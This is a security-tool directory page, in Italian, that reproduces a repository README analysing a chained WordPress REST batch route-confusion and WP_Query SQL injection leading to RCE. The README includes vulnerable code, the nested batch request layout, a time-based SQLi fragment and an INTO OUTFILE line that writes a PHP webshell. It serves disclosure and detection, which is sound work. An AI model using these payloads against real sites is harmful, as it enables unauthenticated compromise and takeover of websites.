Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
wordpress-cve-2026-63030 — RCE pre-autenticazione nel core di WordPress tramite confusione di route batch nell'API REST + SQLi in WP_Query (CVE-2026-63030 / CVE-2026-60137). PoC di rilevamento. | Kitploit
Strumenti/GitHubGitHub/senanfurkan/wordpress-cve-2026-63030
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingSviluppo Payload
GitHubsenanfurkan/wordpress-cve-2026-63030

wordpress-cve-2026-63030

RCE pre-autenticazione nel core di WordPress tramite confusione di route batch nell'API REST + SQLi in WP_Query (CVE-2026-63030 / CVE-2026-60137). PoC di rilevamento.

Vedi Repository
4282 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Confusione di route batch dell'API REST di WordPress + SQL Injection → RCE

Pre-autenticazione, non autenticato, nessun plugin richiesto. Funziona su un'installazione WordPress standard tramite l'endpoint batch dell'API REST.

CVECVE-2026-63030 (route confusion → RCE) + CVE-2026-60137 (SQLi)
GHSAGHSA-ff9f-jf42-662q · GHSA-fpp7-x2x2-2mjf
ScopritoreAdam Kues — Assetnote / Searchlight Cyber (denominata "wp2shell")
InteressateWordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 (catena RCE completa) · 6.8.0 – 6.8.5 (solo SQLi)
Corrette6.8.6, 6.9.5, 7.0.2, 7.1-beta2
CVSSCritico (catena RCE) / Moderato (SQLi isolato)
Blog del ricercatorehttps://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/

1. Panoramica

Due bug nel core di WordPress, combinabili in esecuzione remota di codice non autenticata:

  1. SQL injection in WP_Query quando author__not_in è una stringa invece di un array — il controllo di sanificazione is_array() viene saltato e il valore grezzo viene interpolato in una clausola NOT IN (...).
  2. Confusione di route batch in WP_REST_Server::serve_batch_request_v1() — le sotto-richieste WP_Error vengono inserite in $validation[] ma non in $matches[], causando uno spostamento di indice +1. La sotto-richiesta i finisce per essere gestita con l'handler della sotto-richiesta i+1.

Nessuno dei due bug da solo è sufficiente: l'API REST sanifica author_exclude (type: array, items: integer) prima che raggiunga WP_Query, e l'endpoint batch rifiuta sotto-richieste GET (enum: POST, PUT, PATCH, DELETE). Combinandoli tramite una doppia confusione si aggirano entrambe le difese e si raggiunge la SQLi non autenticata.

2. Cause principali

2.1 SQL injection — src/wp-includes/class-wp-query.php (CVE-2026-60137)

Vulnerabile (6.9.4):

if ( ! empty( $query_vars['author__not_in'] ) ) {
    if ( is_array( $query_vars['author__not_in'] ) ) {   // string → skipped
        $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
        sort( $query_vars['author__not_in'] );
    }
    $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
    $where         .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}

Quando author__not_in è una stringa, il ramo is_array() viene saltato; (array) "payload" restituisce ["payload"]; implode(',', ...) restituisce la stringa grezza, che viene interpolata direttamente nell'SQL.

Correzione (6.9.5): usare wp_parse_id_list(), che accetta qualsiasi forma di input e restituisce una lista di interi sanificata.

2.2 Confusione di route batch — src/wp-includes/rest-api/class-wp-rest-server.php (CVE-2026-63030)

// Validation loop
foreach ( $requests as $single_request ) {
    if ( is_wp_error( $single_request ) ) {
        $has_error    = true;
                       // ❌  $matches[] NOT appended
        $validation[] = $single_request;
        continue;
    }
    $match     = $this->match_request_to_handler( $single_request );
    $matches[] = $match;
    ...
}

// Dispatch loop  —  indexes $matches[$i] with the ORIGINAL $i
foreach ( $requests as $i => $single_request ) {
    ...
    $match = $matches[ $i ];          // ← off-by-one after a WP_Error
    list( $route, $handler ) = $match;
    $result = $this->respond_to_request( $single_request, $route, $handler, $error );
}

Una singola sotto-richiesta WP_Error (es. percorso malformato) in posizione 0 sposta ogni voce successiva di uno. La richiesta i viene quindi gestita con l'handler della richiesta i+1.

Correzione (6.9.5): aggiungere $matches[] = $single_request; anche per il caso di errore. Un ulteriore rafforzamento cortocircuita rest_api_loaded() / serve_request() mentre un dispatch è già in corso.

3. La catena di doppia confusione

┌──────────────────────────────────────────────────────────────────────┐
│  OUTER batch  (POST /wp-json/batch/v1)                              │
│                                                                     │
│  [0]  path = "http://"          → WP_Error, NOT in $matches         │
│  [1]  path = "/wp/v2/categories" → carries nested batch in body     │
│         body = { "name": "x",                                       │
│                   "requests": [ INNER_BATCH ] }                     │
│         Validated against categories → "requests" field untouched   │
│  [2]  path = "/batch/v1"        → batch handler → shifts onto [1]   │
│                                                                     │
│  Outer shift: request[1] dispatched with request[2]'s handler =     │
│  serve_batch_request_v1.  The batch endpoint has NO                 │
│  permission_callback → fires unauthenticated.  request[1]'s body    │
│  was validated against the *categories* route, so the nested        │
│  sub-requests were NEVER checked against the batch method enum →    │
│  inner sub-requests may use GET.                                    │
├──────────────────────────────────────────────────────────────────────┤
│  INNER batch  (processed inside serve_batch_request_v1)             │
│                                                                     │
│  [0]  path = "http://"          → WP_Error, NOT in $matches         │
│  [1]  GET /wp/v2/categories                                      │
│         ?author_exclude=<SQLi_PAYLOAD>                             │
│       Validated against categories → author_exclude NOT sanitised   │
│  [2]  GET /wp/v2/posts          → get_items handler → shifts to [1]│
│                                                                     │
│  Inner shift: inner[1] dispatched with inner[2]'s handler =        │
│  WP_REST_Posts_Controller::get_items.  The unsanitised string       │
│  author_exclude is mapped to author__not_in and passed to           │
│  WP_Query  →  SQL INJECTION.                                        │
└──────────────────────────────────────────────────────────────────────┘

Il frammento SQL risultante è:

AND wp_posts.post_author NOT IN ( 1) OR SLEEP(N)-- - )

SLEEP(N) viene eseguito una volta per ogni riga di post corrispondente, quindi il ritardo totale è di circa N × <numero_di_post_pubblicati> secondi.

Da SQLi a RCE ("wp2shell")

L'iniezione solo-SELECT (nessuna query impilata, $wpdb usa mysqli_query) produce comunque RCE su stack LAMP tipici quando l'utente MySQL ha il privilegio FILE — che è l'impostazione predefinita su molti hosting condivisi e server autogestiti:

1) UNION SELECT 0x3C3F70687020...3F3E INTO OUTFILE '/var/www/html/x.php'/*

scrive una webshell PHP nella web root, raggiungibile all'indirizzo /x.php.

Percorsi alternativi (senza bisogno del privilegio FILE) includono la lettura dell'hash della password admin tramite SQLi blind UNION/booleana e il caricamento di un plugin dannoso tramite l'interfaccia admin autenticata.

4. Rilevamento / PoC

usage: poc_wp_batch_sqli.py [-h] -t TARGET [--sleep SLEEP]
                            [--confusion-only] [--no-color] [-v]

Il PoC esegue due test non distruttivi:

TestMetodoSicuro?
Confusione di route (CVE-2026-63030)Strutturale — verifica che la richiesta interna[1] (categorie) venga gestita con l'handler dei post controllando che il corpo della risposta contenga campi esclusivi dei postSì
SQLi (CVE-2026-60137)Blind basata sul tempo — inietta SLEEP(N) tramite author_exclude e misura la latenza rispetto a una baseline innocuaSì
Scarica lo strumento